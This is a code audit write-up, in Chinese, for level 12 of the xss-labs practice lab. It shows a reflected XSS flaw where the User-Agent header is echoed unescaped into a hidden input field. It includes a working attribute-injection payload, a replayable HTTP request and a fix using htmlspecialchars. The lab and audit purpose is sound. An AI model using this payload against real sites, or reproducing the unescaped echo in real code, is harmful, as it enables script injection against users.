xss-labs Level12 代码审计报告
目标文件:
level12.php| 漏洞类型: 反射型 XSS —— HTTP User-Agent 头注入隐藏字段 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: 携带恶意User-Agent头 →<input name="t_ua" value="...">属性注入
一、漏洞代码定位
level12.php 第 17-27 行:
$str = $_GET["keyword"]; // L17
$str00 = $_GET["t_sort"]; // L18
$str11 = $_SERVER['HTTP_USER_AGENT']; // L19 从 UA 头取数
$str22 = str_replace(">", "", $str11); // L20 删除 >
$str33 = str_replace("<", "", $str22); // L21 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> // L26 已转义(安全)
<input name="t_ua" value="'.$str33.'" type="hidden"> // L27 危险:UA 未转义
</form>
</center>';
漏洞点: L27。HTTP_USER_AGENT 头只删除了 </>,未转义引号即拼入隐藏字段 value。
二、漏洞原理
- 与 Level11 同型,只是把向量从 Referer 换成 User-Agent。UA 是任何请求都能伪造的头,同样可用 Yakit/代理重放。
- 隐藏字段不能直接触发事件,需注入
type="text"覆盖 hidden +onfocus/autofocus组合(见 Level10 报告)。 t_sort被转义、UA 漏转义 —— 同一页面对不同外部输入做了不一致的处理。
三、利用方式与 Yakit 可重放数据包
User-Agent 头 Payload(URL 解码后):
" type="text" onfocus=alert(1) autofocus="
渲染结果:
<input name="t_ua" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">
Yakit 可重放原始请求(关键在 User-Agent 头):
GET /level12.php HTTP/1.1
Host: 127.0.0.1
User-Agent: " type="text" onfocus=alert(1) autofocus="
Accept: text/html
Connection: close
触发方式: 输入框被覆盖为 type=text 并 autofocus,onfocus=alert(1) 触发 → 命中通关逻辑跳转 level13。
四、修复建议
// UA 进入 HTML 前必须编码;更优是不要回显 UA
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
$safe = htmlspecialchars($ua, ENT_QUOTES, 'UTF-8');
echo '<input name="t_ua" value="'.$safe.'" type="hidden">';
要点:
- 所有 HTTP 头等同外部输入,进入 HTML 前统一
htmlspecialchars ENT_QUOTES。 - 隐藏字段建议用服务端数据驱动,不回显用户可控值。
- 审计时排查
$_SERVER中每个被 echo 的头字段。
五、备注
- 与 Level11 一并修复: 建议在公共输出封装里统一对所有"回显给前端的值"做编码,避免逐点遗漏。
正文完